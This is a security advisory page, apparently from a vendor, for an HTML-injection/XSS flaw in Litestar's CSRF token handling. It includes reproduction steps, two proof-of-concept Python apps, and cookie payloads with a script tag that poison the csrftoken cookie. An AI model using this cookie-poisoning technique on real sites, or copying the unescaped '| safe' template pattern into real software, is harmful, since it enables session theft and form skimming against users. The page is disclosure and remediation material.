GHSA-542p-wvx7-72m4
HIGHGHSA-542p-wvx7-72m4 is a high-severity (CVSS 8.1) Cross-site Scripting (XSS) vulnerability in litestar. O3 Security confirms whether GHSA-542p-wvx7-72m4 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Litestar has HTML Injection Through its CSRF Token
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-542p-wvx7-72m4.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-542p-wvx7-72m4 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 368,770 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
litestarReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Overview
Litestar instances which use a template engine in conjunction with CSRF protection are vulnerable to HTML Injection which can be escalated to Cross Site Scripting due to the contents of the CSRF cookie being excluded from automatic escaping by the template engine when configured inline with documentation recommendations.
We used the latest Litestar version available via PyPI for this disclosure. At the time of writing, that is version 2.21.0 and we have not validated this against the current latest commit on the main branch.
Special Configurations Required
For a web application to be vulnerable to this issue, it must:
- Use templates to render the content which is returned to the user (e.g. Jinja, Mako, MiniJinja)
- Have CSRF protection enabled
- Have CSRF inputs enabled (i.e. a hidden form field which contains the CSRF token)
Links to relevant documentation for the above configurations:
- https://docs.litestar.dev/2/usage/templating.html
- https://docs.litestar.dev/latest/usage/middleware/builtin-middleware.html#csrf
- https://docs.litestar.dev/latest/usage/templating.html#adding-csrf-inputs
Reproduction Steps
- Visit an application which contains a form, uses templating, has CSRF protection enabled, and which inserts the CSRF token as a hidden
inputfield on forms. A proof of concept application demonstrating this configuration is included later in this disclosure for ease of reproduction. - Observe that the server sets the
csrftokencookie when the page loads.
- Set the value of the
csrftokencookie to"><h1>HTML Injection Test</h1>.
- Refresh the page.
- Observe that the contents of the cookie is rendered on the page.
Exploit Code
There are two Proof-of-Concepts (PoC) included here. The first demonstrates that arbitrary HTML is injected into the page when the user supplies a malicious csrftoken cookie. The second demonstrates how an attacker could deliver an attack using the vulnerability to an unsuspecting user.
The proof-of-concept applications can be started using these commands:
# run poc1
python -m uvicorn poc1:app
# run poc2
python -m uvicorn poc2:app
PoC 1 - Minimum Vulnerable Application
This proof-of-concept demonstrates that a crafted csrftoken cookie will be rendered on the vulnerable page as HTML.
poc1.py
from litestar import Litestar, get, MediaType
from litestar.response import Template
from litestar.config.csrf import CSRFConfig
import jinja2, os
from pathlib import Path
from litestar import Litestar
from litestar.contrib.jinja import JinjaTemplateEngine
from litestar.template.config import TemplateConfig
@get("/")
async def hello_world() -> Template:
return Template(
template_name="test.jinja",
media_type=MediaType.HTML,
)
ENVIRONMENT = jinja2.Environment(
loader=jinja2.FileSystemLoader(
searchpath=os.path.join(os.path.dirname(__file__), "templates")
),
autoescape=True,
)
csrf_config = CSRFConfig(secret="my_super_duper_secret")
app = Litestar(
route_handlers=[hello_world],
template_config=TemplateConfig(
directory=Path("templates"),
engine=JinjaTemplateEngine.from_environment(ENVIRONMENT),
),
csrf_config=csrf_config,
)
test.jinja
<html>
<body>
<div>
<form method="post">
{{ csrf_input | safe }}
<label for="fname">Username:</label><br>
<input type="text" id="username" name="username"><br>
<label for="lname">Password:</label><br>
<input type="text" id="password" name="password">
<input type="submit">
</form>
</div>
</body>
</html>
Sending the following request to the vulnerable page will result in the HTML included in the csrftoken cookie being injected and rendered on the page.
GET /vulnerable HTTP/1.1
Host: localhost:8000
Cookie: csrftoken="><h1>HTML Injection Test</h1>
PoC 2 - Simulated Attack Delivery
This proof-of-concept demonstrates how an attacker could deliver an attack using this vulnerability to an unsuspecting user. We are using this example as it provides for easy local reproduction, it is possible that in end applications there may be various ways to trigger this vulnerability which differ from the example provided.
First, the user must visit a malicious application (the /first_site endpoint in poc2.py) which sets the csrftoken cookie value to a malicious payload. This app must be hosted on the same top level domain as the vulnerable application so that the poisoned cookie will automatically be sent by the user's browser to the vulnerable page.
Next, the malicious app redirects the user to the vulnerable app (the /second_site endpoint in poc2.py). The victim's browser will automatically send the poisoned cookie to the vulnerable app. This causes the vulnerable application to unsafely write the cookie content to the page and return it to the user, executing the attack in the victim user's browser
poc2.py
from litestar import Litestar, get, post, MediaType
from litestar.response import Template
from litestar.config.csrf import CSRFConfig
from litestar.datastructures import Cookie
import jinja2, os
from pathlib import Path
from litestar import Litestar
from litestar.contrib.jinja import JinjaTemplateEngine
from litestar.template.config import TemplateConfig
cookie_payload = '"><script>alert(document.domain)</script>'
# malicious site which poisons the csrf cookie
@get("/first_site", response_cookies=[Cookie(key="csrftoken", value=cookie_payload, httponly=True)])
async def first_site() -> Template:
return Template(
template_name="page1.jinja",
media_type=MediaType.HTML,
)
# vulnerable site
@get("/second_site")
async def second_site() -> Template:
return Template(
template_name="page2.jinja",
media_type=MediaType.HTML,
)
# example function for form submission if csrf verification succeeds
@post("/form_receive")
async def handle_form() -> dict[str, str]:
return {
"message": "form data received successfully"
}
ENVIRONMENT = jinja2.Environment(
loader=jinja2.FileSystemLoader(
searchpath=os.path.join(os.path.dirname(__file__), "templates")
),
autoescape=True,
)
csrf_config = CSRFConfig(secret="my_super_duper_secret")
app = Litestar(
route_handlers=[first_site, second_site, handle_form],
template_config=TemplateConfig(
directory=Path("templates"),
engine=JinjaTemplateEngine.from_environment(ENVIRONMENT),
),
csrf_config=csrf_config,
)
page1.jinja
<html>
<body>
<h1>Setting cookie...</h1>
<script>
setTimeout(() => {
window.location.href="/second_site"
}, 2000);
</script>
</body>
</html>
page2.jinja
<html>
<body>
<div>
<form action="/form_receive" method="post">
{{ csrf_input | safe }}
<label for="fname">Username:</label><br>
<input type="text" id="username" name="username"><br>
<label for="lname">Password:</label><br>
<input type="text" id="password" name="password">
<input type="submit">
</form>
</div>
</body>
</html>
Impact
This vulnerability affects all Litestar instances that use templates along with CSRF protection that has been configured inline with the documentation section of "Adding CSRF inputs" within the "Templating" page. An attacker that can successfully exploit this issue can inject arbitrary HTML tags into the page which is then rendered in the victim user's browser. This includes script tags, allowing the attacker to escalate the attack to a Cross Site Scripting attack, thus executing arbitrary JavaScript code in the victim's browser.
Depending on the configuration of the site, this could result in the theft of cookies or session tokens. This issue can also allow the attacker to change the appearance of the site. This could enable possible phishing attacks by injecting fake forms into the page or even skimming the information that a user enters into a legitimate form.
Resources
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | litestar | all versions | 2.22.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for litestar. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update litestar to 2.22.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-542p-wvx7-72m4 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-542p-wvx7-72m4 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-542p-wvx7-72m4. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-542p-wvx7-72m4 in your dependencies?
O3 detects GHSA-542p-wvx7-72m4 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.